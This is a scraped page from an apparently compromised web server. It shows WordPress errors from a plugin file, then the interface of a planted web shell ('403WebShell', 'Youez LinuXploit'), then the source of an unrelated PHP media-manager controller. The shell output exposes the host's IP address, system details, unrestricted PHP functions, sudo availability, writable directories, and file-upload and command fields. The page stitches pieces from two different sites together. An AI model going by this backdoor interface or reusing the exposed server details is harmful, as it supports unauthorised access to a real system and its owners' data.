Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/theyoungdesigners_com/modules/mediaManager/controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/theyoungdesigners_com/modules/mediaManager/controller/admin.php
<?php
	
class media_admin extends Controller {

	private $model_media;

	public function __construct() {
		parent::__construct(dirname(__DIR__));
		$settings = $GLOBALS['loader']->LoadModuleSettings(__DIR__);
		$this->model_media = $this->LoadModel('mediamanager_model');
		$this->model_media	->BaseFolder($settings['media_folder'])
							->ThumbFolder($settings['thumb_folder']);
	}

	public function __Register() {
		$this->RegisterView(__CLASS__ .'::media', ['mediamanager_view' => ['mediamanager_admin', 'mediamanager_newfolder', 'mediamanager_showurl', 'mediamanager_rename']]);
	}

	private function getFolderContents($directory) {
		$this->model_media->LoadAssets();
		$res = $this->model_media->getFolderContents($directory);
		$res['data'] = hook_execute('mediamanager.validate', $res['data']);
		$res['sorting'] = 'det';  // this should come from session
		$res['shownav'] = 1;
		foreach($res['data'] as &$item) {
			unset($item['source']);		// used for validation.  Not needed at front end
		}
		return $res;
	}
	
	private function _generateAuth($directory) {
		$hash = md5($directory);
		return hook_execute('nonce.create', FALSE, 'mediaact', $hash, 1800);
	}

	/** staff */
	public function media($directory = '') {
		$directory = MediaManagerModel::getDirectory(func_get_args());
		$mimetype = $this->__INPUT->GetPreferedDocType();
		if ($mimetype == 'application/json' || $mimetype == 'text/javascript') {
			$media = $this->getFolderContents($directory);
			$res = [
				'media'		=> $media,
				'folder'	=> '/' . $directory,
				'auth'		=> $this->_generateAuth($directory),
			];
		} else {
			$res = $this->DefaultResult(__METHOD__);
			$res['template'] = 'mediamanager_admin';
			$res['folder'] = '/';
		}
		return $res;
	}
	
	/** staff */
	public function media_POST($action = '') {
		switch($action) {
			case 'newfolder':
				$folder = $this->post('folder');
				$current = $this->post('current');
				$folder = trim(str_replace(['..', '\\', ';', '<', '>', '&', '/', '|'], '', $folder));
				$current = trim(str_replace(['..', '\\', ';', '<', '>', '&', '/', '|'], '', $current));
				$error = $this->model_media->createFolder($current, $folder);
				if (is_string($error)) {
					return [
						'result' => 55103,
						'message' => 'Unable to create folder - ' . $error,
					];
				}
				return [
					'result' => -9999,
					'message' => 'Folder "' . $folder . '" has been created',
				];
				// reload media manager contents
				break;

		}
		return [
			'result' => 55102,
			'message' => 'unsupported function',
		];
	}
	
	/** staff */
	public function media_action($action = '' /* folder path follows */ ) {
		$directory = func_get_args();
		array_shift($directory);
		$directory = MediaManagerModel::getDirectory($directory);
		switch($action) {
			default:
				return [
					'result' => 55103,
					'message' => 'unsupported function',
				];

		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit